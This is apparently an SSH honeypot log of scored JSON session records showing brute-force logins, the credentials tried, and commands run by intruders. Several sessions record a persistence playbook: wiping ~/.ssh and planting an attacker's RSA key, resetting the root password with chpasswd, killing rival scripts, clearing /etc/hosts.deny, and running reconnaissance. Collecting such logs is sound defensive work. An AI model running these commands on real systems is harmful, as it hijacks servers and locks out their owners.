SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "93f5a41a546f",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:37:41.522867Z",
"end_time": "2026-07-09T23:39:41.527416Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "5512e3dba977",
"src_ip": "146.70.11.8",
"start_time": "2026-07-09T23:37:06.206786Z",
"end_time": "2026-07-09T23:37:06.394588Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34
{
"id": "d3d14dac8f9d",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:37:01.556680Z",
"end_time": "2026-07-09T23:37:04.275655Z",
"duration": "2.7",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "994cd26099f7",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:36:55.538869Z",
"end_time": "2026-07-09T23:38:55.543251Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 80
Credential acceptance event recorded. Target authentication: admin / Master123
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "733e285f1b8c",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:36:51.609465Z",
"end_time": "2026-07-09T23:37:04.272706Z",
"duration": "12.7",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "Master123"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "d77b6c9dbcfb",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:36:01.181927Z",
"end_time": "2026-07-09T23:38:01.190832Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: server
{
"id": "a41af16deafb",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:35:51.789498Z",
"end_time": "2026-07-09T23:35:53.216725Z",
"duration": "1.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "server",
"pass": "server1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "9d2504e82f3f",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:35:11.124552Z",
"end_time": "2026-07-09T23:37:11.134181Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "6e7b84a01046",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:34:19.194787Z",
"end_time": "2026-07-09T23:36:19.215191Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "88297fbf4f65",
"src_ip": "172.190.216.105",
"start_time": "2026-07-09T23:33:56.516846Z",
"end_time": "2026-07-09T23:33:57.714075Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "57fe6a93a97f",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:33:47.854268Z",
"end_time": "2026-07-09T23:33:48.286507Z",
"duration": "0.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "495c46c9cb01",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:33:46.364221Z",
"end_time": "2026-07-09T23:33:47.792243Z",
"duration": "1.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 80
Credential acceptance event recorded. Target authentication: root / spring123
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "ea25d4555fca",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:33:45.426075Z",
"end_time": "2026-07-09T23:33:48.282835Z",
"duration": "2.9",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "spring123"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
RECONNAISSANCE
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 340
Credential acceptance event recorded. Target authentication: root / Aa123456+
Remote entity achieved interactive shell state. Command sequence (19 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$
cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$
echo "root:A2lltSR05G0R"|chpasswd|bash
[obs-node]:~$
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$
ls -lh $(which ls)
[obs-node]:~$
which ls
[obs-node]:~$
crontab -l
[obs-node]:~$
w
[obs-node]:~$
uname -m
[obs-node]:~$
cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$
top
[obs-node]:~$
uname
[obs-node]:~$
uname -a
[obs-node]:~$
whoami
[obs-node]:~$
lscpu | grep Model
[obs-node]:~$
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
{
"id": "959641a67907",
"src_ip": "172.190.216.105",
"start_time": "2026-07-09T23:33:37.967628Z",
"end_time": "2026-07-09T23:34:05.102902Z",
"duration": "27.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Aa123456+"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"cat /proc/cpuinfo | grep name | wc -l",
"echo \"root:A2lltSR05G0R\"|chpasswd|bash",
"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"ls -lh $(which ls)",
"which ls",
"crontab -l",
"w",
"uname -m",
"cat /proc/cpuinfo | grep model | grep name | wc -l",
"top",
"uname",
"uname -a",
"whoami",
"lscpu | grep Model",
"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "echo \"root:A2lltSR05G0R\"|chpasswd|bash",
"failed": false,
"error": null
},
{
"cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
"failed": false,
"error": null
},
{
"cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
"failed": false,
"error": null
},
{
"cmd": "ls -lh $(which ls)",
"failed": false,
"error": null
},
{
"cmd": "which ls",
"failed": false,
"error": null
},
{
"cmd": "crontab -l",
"failed": false,
"error": null
},
{
"cmd": "w",
"failed": false,
"error": null
},
{
"cmd": "uname -m",
"failed": false,
"error": null
},
{
"cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
"failed": false,
"error": null
},
{
"cmd": "top",
"failed": false,
"error": null
},
{
"cmd": "uname",
"failed": false,
"error": null
},
{
"cmd": "uname -a",
"failed": false,
"error": null
},
{
"cmd": "whoami",
"failed": false,
"error": null
},
{
"cmd": "lscpu | grep Model",
"failed": false,
"error": null
},
{
"cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 340,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ventas
{
"id": "ee23ec0271e7",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:33:28.436012Z",
"end_time": "2026-07-09T23:33:32.545277Z",
"duration": "4.1",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [
{
"user": "ventas",
"pass": "ventas"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: group1
{
"id": "b283ac9b3bfa",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:32:37.890067Z",
"end_time": "2026-07-09T23:32:41.210652Z",
"duration": "3.3",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [
{
"user": "group1",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 80
Credential acceptance event recorded. Target authentication: admin / admin1
Remote entity achieved interactive shell state. Command sequence (1 executed):
[obs-node]:~$
echo OK
{
"id": "979561c85b60",
"src_ip": "185.242.3.195",
"start_time": "2026-07-09T23:32:35.265442Z",
"end_time": "2026-07-09T23:32:37.676732Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin1"
},
"commands": [
"echo OK"
],
"detailed_commands": [
{
"cmd": "echo OK",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "ac1ed49260b9",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:31:49.052421Z",
"end_time": "2026-07-09T23:33:49.057762Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "6bc2a8453230",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:31:46.214167Z",
"end_time": "2026-07-09T23:31:46.644743Z",
"duration": "0.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "b2aa377bfef7",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:31:44.724206Z",
"end_time": "2026-07-09T23:31:46.152898Z",
"duration": "1.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 80
Credential acceptance event recorded. Target authentication: root / 5tgbnhy6
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "5ee524e08e0f",
"src_ip": "143.244.169.204",
"start_time": "2026-07-09T23:31:43.777372Z",
"end_time": "2026-07-09T23:31:46.641858Z",
"duration": "2.9",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "5tgbnhy6"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: denis
{
"id": "26f798853e54",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:30:58.513326Z",
"end_time": "2026-07-09T23:31:01.525465Z",
"duration": "3.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [
{
"user": "denis",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "f6d0822e5e0d",
"src_ip": "36.212.31.122",
"start_time": "2026-07-09T23:30:21.731737Z",
"end_time": "2026-07-09T23:32:21.737112Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "4084dfff6ad6",
"src_ip": "8.134.157.132",
"start_time": "2026-07-09T23:30:08.211158Z",
"end_time": "2026-07-09T23:32:08.215528Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.7.4",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "06ae4546bc4c",
"src_ip": "36.212.31.122",
"start_time": "2026-07-09T23:30:07.713656Z",
"end_time": "2026-07-09T23:32:07.718112Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "949f1bf1ed5c",
"src_ip": "121.15.140.235",
"start_time": "2026-07-09T23:30:06.959125Z",
"end_time": "2026-07-09T23:32:06.980517Z",
"duration": "120.0",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
RECONNAISSANCE
COMMANDS RUN
SUCCESSFUL LOGIN
SCORE: 340
Credential acceptance event recorded. Target authentication: root / server@2021
Remote entity achieved interactive shell state. Command sequence (19 executed):
[obs-node]:~$
